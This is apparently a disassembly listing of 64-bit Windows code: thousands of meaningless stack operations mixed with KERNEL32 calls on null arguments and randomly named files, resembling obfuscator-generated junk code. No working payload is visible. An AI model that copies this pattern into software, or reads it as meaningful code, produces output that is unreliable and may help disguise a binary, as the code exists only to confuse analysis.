lea rcx, str.Conformist_Degree_Housewife_beet_unwrapping
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xeb0], ax
lea rdx, [rsp + 0x8e48]
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x44a0], eax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
mov word [rsp + 0xeb4], ax
movzx eax, byte [rsp + 0x98]
movzx ecx, byte [rsp + 0xda]
and eax, ecx
mov rcx, qword [rsp + 0x9618]
mov byte [rcx], al
mov rax, qword [rsp + 0xa148]
movzx eax, byte [rax]
mov byte [rsp + 0xeb], al
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x477c], eax
mov rax, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x9248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x46f8], eax
movzx ecx, word [rsp + 0xd34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe88], ax
lea rax, [rsp + 0x4548]
mov qword [rsp + 0xa990], rax
mov rax, qword [rsp + 0x9f38]
mov rcx, qword [rsp + 0x9160]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e48], rax
mov rax, qword [rsp + 0xa558]
mov rcx, qword [rsp + 0x9f88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f68], rax
movzx eax, word [rsp + 0xe38]
mov word [rsp + 0xeb8], ax
lea rax, [rsp + 0xc5c]
mov qword [0x1401e76d0], rax
movsx eax, byte [0x1401e603b]
movsx ecx, byte [rsp + 0xcb]
add eax, ecx
mov rcx, qword [rsp + 0x9988]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x90f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe9c]
and eax, ecx
mov rcx, qword [rsp + 0x9da0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4778]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cf0]
mov dword [rcx], eax
lea rdx, [rsp + 0x28308]
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4350], eax
lea rax, [rsp + 0xa0e8]
mov qword [rsp + 0xa998], rax
mov rax, qword [rsp + 0xa448]
mov rcx, qword [rsp + 0x9ec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa430], rax
mov rax, qword [rsp + 0xa0c0]
mov eax, dword [rax]
mov dword [rsp + 0x4780], eax
mov rax, qword [rsp + 0xa7d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd90]
sub eax, ecx
mov rcx, qword [rsp + 0xa310]
mov word [rcx], ax
movzx eax, word [rsp + 0xcec]
movzx ecx, word [str.__f_n_]
sub eax, ecx
mov word [0x1401e74b4], ax
movzx eax, word [rsp + 0xd70]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa260]
mov word [rcx], ax
movzx eax, byte [rsp + 0xec]
mov byte [rsp + 0xed], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
mov rcx, qword [0x1401e75a8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xb4], al
movzx eax, word [rsp + 0xc10]
mov word [rsp + 0xebc], ax
mov rcx, qword [rsp + 0xa5b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x41c8], eax
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5d0]
mov qword [rsp + 0xa9a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa9a0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x46f4]
mov dword [rsp + 0x4784], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa8b0]
mov rcx, qword [rsp + 0xa660]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9980], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9420]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x456c], eax
lea rax, [rsp + 0xe4c]
mov qword [0x1401e76d8], rax
lea rax, [0x1401e7492]
mov qword [rsp + 0xa9a8], rax
mov rax, qword [rsp + 0x9960]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa2d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x9320]
movzx eax, word [rax]
mov word [rsp + 0xec0], ax
lea rdx, [rsp + 0x9600]
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x469c], eax
mov rax, qword [0x1401e7498]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xeb]
add eax, ecx
mov rcx, qword [rsp + 0x9468]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c50]
mov ecx, dword [rsp + 0x46f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4698], eax
lea rax, [rsp + 0x43a8]
mov qword [rsp + 0xa9b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:Virtuosic_footings
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0x9730]
mov rcx, qword [rsp + 0x9bd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d78], rax
mov rax, qword [rsp + 0xa160]
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0xa888]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe94]
sub eax, ecx
mov word [0x1401e60b4], ax
movsx eax, word [0x1401e7580]
movsx ecx, word [rsp + 0xe0c]
and eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov rcx, qword [rsp + 0x99a8]
mov byte [rcx], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0xa9c8], rax
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x43fc], eax
movzx ecx, word [rsp + 0xd28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc7c], ax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4788], eax
movsx eax, byte [str.yRs_a]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x90], al
lea rax, [rsp + 0xa9c0]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0x9b00]
mov ecx, dword [rsp + 0x457c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9198]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov eax, dword [rsp + 0x4434]
movzx ecx, al
mov eax, dword [rsp + 0x4488]
shl eax, cl
mov dword [rsp + 0x43e8], eax
movzx ecx, word [rsp + 0xcfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xeac], ax
lea rax, [rsp + 0x9490]
mov qword [rsp + 0xa9d8], rax
mov rax, qword [rsp + 0xa530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e743c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa940], rax
mov rax, qword [rsp + 0xa740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa590]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [rsp + 0xee], al
movsx eax, byte [rsp + 0xb6]
mov rcx, qword [0x1401e7648]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb5], al
movzx eax, word [rsp + 0xe2c]
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0xa2e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x464c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4428], eax
imul eax, dword [rsp + 0x45dc], 0xa2e
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
lea rcx, [rsp + 0xa9e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x46a8]
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x444c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rax, [rsp + 0x9c28]
mov qword [rsp + 0xa9e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9e80]
mov rcx, qword [rsp + 0xa358]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9548], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movsx eax, word [rsp + 0xc88]
movsx ecx, word [rsp + 0xd54]
sub eax, ecx
mov word [0x1401e76b8], ax
lea rax, [rsp + 0xd70]
mov qword [rsp + 0xa9f0], rax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [0x1401e7600]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9f]
sub eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x46e4], eax
lea rax, [rsp + 0xe10]
mov qword [rsp + 0xa9f8], rax
lea rdx, [rsp + 0x478c]
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4754], eax
mov rax, qword [rsp + 0x9878]
mov ecx, dword [rsp + 0x4340]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
lea rax, section..data
mov qword [rsp + 0xaa00], rax
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x438c], eax
mov rax, qword [rsp + 0xa138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9bc8]
mov qword [rcx], rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4700], eax
mov rax, qword [rsp + 0xa660]
mov rcx, qword [rsp + 0x9ce8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e98]
mov qword [rcx], rax
mov rax, qword [0x1401e76d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e60b8], ax
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x9208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
xor eax, ecx
mov rcx, qword [rsp + 0x9d20]
mov byte [rcx], al
lea rax, [0x1401e6074]
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f48]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa0d8]
mov byte [rcx], al
lea rcx, [rsp + 0x269c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa798]
mov qword [rsp + 0xaa10], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x477e
mov rcx, qword [rsp + 0xa638]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42dc], eax
mov rax, qword [rsp + 0xa628]
movzx ecx, al
mov rax, qword [0x1401e6020]
shr rax, cl
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4428]
mov ecx, dword [rsp + 0x452c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
lea rax, [rsp + 0x4630]
mov qword [rsp + 0xaa18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa288], rax
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov byte [0x1401e604e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
mov dword [rsp + 0x2a300], 0x94
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x5a]
and eax, ecx
mov rcx, qword [rsp + 0xa9c8]
mov byte [rcx], al
lea rax, [rsp + 0xc4c]
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa260]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaf]
movsx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0xa8f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa298]
mov eax, dword [rax]
mov dword [rsp + 0x4790], eax
mov rax, qword [rsp + 0x99c0]
mov rcx, qword [rsp + 0xa000]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a60], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xa830]
mov qword [rsp + 0xaa28], rax
mov rax, qword [rsp + 0x9620]
mov ecx, dword [rsp + 0x465c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f08]
mov dword [rcx], eax
lea rax, [rsp + 0xe34]
mov qword [0x1401e76e0], rax
mov rax, qword [rsp + 0xa7e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa480]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0xf0], al
movzx eax, word [rsp + 0xbb4]
mov rcx, qword [rsp + 0x9020]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x99f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0d8]
movzx eax, byte [rax]
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa448]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0c0]
mov rcx, qword [rsp + 0xa3e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4204], eax
lea rax, [rsp + 0x97d0]
mov qword [rsp + 0xaa30], rax
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4630]
sar eax, cl
mov dword [rsp + 0x4404], eax
movzx eax, word [0x1401e6088]
mov word [rsp + 0xec8], ax
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1196
mov r9d, 0x388
mov r8d, 0xe7fb8ac9
mov edx, 2
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4460], eax
mov dword [rsp + 0x2a3a0], 0x94
movsx eax, word [rsp + 0xbc4]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401e7698]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x41b4], eax
mov qword [rsp + 0x20], 0
mov r9d, 0xa72
mov r8d, 0x66e
mov edx, 0x5b
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x440c], eax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0x61]
shl eax, cl
mov byte [rsp + 0x7e], al
lea rax, [rsp + 0xaa]
mov qword [rsp + 0xaa38], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xbd8]
movzx ecx, word [rsp + 0xbcc]
or eax, ecx
mov word [rsp + 0xd10], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov eax, dword [rsp + 0x4598]
mov ecx, dword [rsp + 0x4670]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
lea rax, [rsp + 0x44c8]
mov qword [rsp + 0xaa40], rax
mov rax, qword [rsp + 0xa0b0]
mov rcx, qword [rsp + 0xa5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov qword [rsp + 0xaa48], rax
movsx eax, byte [rsp + 0xb7]
mov rcx, qword [rsp + 0x9cc0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9888]
mov byte [rcx], al
lea rax, [rsp + 0x55]
mov qword [0x1401e76e8], rax
movsx eax, byte [rsp + 0xa4]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x94b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9e68]
movzx eax, word [rax]
mov word [rsp + 0xecc], ax
lea rcx, [rsp + 0x269c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x67]
movzx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x62], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xaa50], rax
mov rax, qword [rsp + 0x9a60]
mov qword [rsp + 0xaa58], rax
mov rax, qword [rsp + 0x91d8]
mov ecx, dword [rsp + 0x44f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44b8], eax
mov eax, dword [rsp + 0x4714]
mov ecx, dword [rsp + 0x4734]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x455c], eax
lea rax, [rsp + 0x92a8]
mov qword [rsp + 0xaa60], rax
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcac]
add eax, ecx
mov word [rsp + 0xdd0], ax
movzx eax, word [rsp + 0xd00]
mov word [0x1401e76f0], ax
lea rax, [rsp + 0xd00]
mov qword [rsp + 0xaa68], rax
lea rdx, [rsp + 0x28228]
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4234], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42dc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a]
add eax, ecx
mov rcx, qword [rsp + 0xa108]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9870]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdf0], ax
mov eax, dword [rsp + 0x4728]
mov dword [rsp + 0x4794], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x434c], eax
mov rax, qword [rsp + 0x9be0]
mov rcx, qword [rsp + 0x95f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa8b8], rax
mov eax, dword [rsp + 0x44a8]
mov dword [rsp + 0x4798], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9688], rax
mov rax, qword [rsp + 0xa7b8]
mov rcx, qword [rsp + 0xa1e0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa890], rax
lea rdx, [rsp + 0xa478]
mov rcx, qword [rsp + 0xa220]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x479c], eax
lea rax, [0x1401e6060]
mov qword [rsp + 0xaa70], rax
mov rax, qword [rsp + 0xa3c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x97e0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e604f], al
movsx eax, byte [rsp + 0xcb]
mov rcx, qword [rsp + 0xa8c0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9cc0]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xdab0
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4374], eax
mov rax, qword [0x1401e75a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc2]
shl eax, cl
mov rcx, qword [rsp + 0x98a0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x8fd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0x9fd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc58]
and eax, ecx
mov rcx, qword [rsp + 0xa9f0]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:workoutelsewherehelmsmangospels_sabre
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaa80], rax
lea rax, [0x1401e741c]
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0x9530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a80], rax
mov eax, dword [rsp + 0x4428]
mov ecx, dword [rsp + 0x4528]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46cc], eax
mov rax, qword [rsp + 0xa8f8]
mov rax, qword [rax]
mov qword [rsp + 0xaa90], rax
lea rax, [rsp + 0xea0]
mov qword [0x1401e76f8], rax
mov rax, qword [rsp + 0xa1c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x81], al
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa960]
movzx eax, byte [rax]
mov byte [rsp + 0xf2], al
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0xe3c]
sub eax, ecx
mov word [rsp + 0xd6c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx eax, byte [rsp + 0xcc]
movzx ecx, byte [rsp + 0x9e]
sub eax, ecx
mov rcx, qword [rsp + 0xa518]
mov byte [rcx], al
lea rax, section..data
mov qword [rsp + 0xaa98], rax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0xa1d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6a8], rax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov qword [rsp + 0xaaa0], rax
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4618]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa978]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x9b48]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xcd8]
mov rcx, qword [rsp + 0xaa68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7428]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:polygamousAlreadyDissatisfyingOctaves_amateur
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaaa8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rax, [rsp + 0x77]
mov qword [rsp + 0xaab0], rax
mov rax, qword [rsp + 0xa928]
movzx eax, byte [rax]
mov rcx, qword [0x1401e76a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x83], al
movsx eax, word [rsp + 0xd4c]
movsx ecx, word [rsp + 0xba4]
xor eax, ecx
mov rcx, qword [rsp + 0xa800]
mov word [rcx], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0xaab8], rax
mov eax, dword [rsp + 0x4778]
mov ecx, dword [rsp + 0x4404]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96f0]
mov rax, qword [rax]
mov qword [rsp + 0xaac0], rax
mov eax, dword [rsp + 0x4554]
movzx ecx, al
mov eax, dword [rsp + 0x4370]
shl eax, cl
mov rcx, qword [rsp + 0x9b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa070]
mov rcx, qword [rsp + 0x9e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xd18]
add eax, ecx
mov rcx, qword [0x1401e74b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2c0]
movzx eax, byte [rax]
mov byte [rsp + 0xf3], al
movsx eax, word [0x1401e7494]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
movzx ecx, word [rsp + 0xc94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbac], ax
mov rax, qword [rsp + 0xaa38]
movzx eax, byte [rax]
mov byte [rsp + 0xf4], al
lea rdx, [rsp + 0x8c48]
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x47a0], eax
movzx eax, word [rsp + 0xdfc]
movzx ecx, word [rsp + 0xbb4]
add eax, ecx
mov word [rsp + 0xc70], ax
lea rdx, [rsp + 0x28148]
mov rcx, qword [rsp + 0xa308]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0xa300]
mov rcx, qword [rsp + 0x9cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa210]
mov dword [rcx], eax
lea rax, [rsp + 0x4204]
mov qword [rsp + 0xaac8], rax
mov rax, qword [rsp + 0x9d10]
mov rcx, qword [rsp + 0x90c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa6c8]
mov qword [rcx], rax
lea rax, [0x1401e7410]
mov qword [rsp + 0xaad0], rax
lea rax, [rsp + 0xa8]
mov qword [0x1401e7700], rax
mov rax, qword [rsp + 0xaab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
sub eax, ecx
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
movsx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0xa740]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe94], ax
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xed0], ax
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [rsp + 0xe54]
sub eax, ecx
mov word [rsp + 0xda0], ax
mov eax, dword [rsp + 0x4340]
mov dword [rsp + 0x47a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x43e8]
mov ecx, dword [rsp + 0x4434]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x96a8]
mov rax, qword [rax]
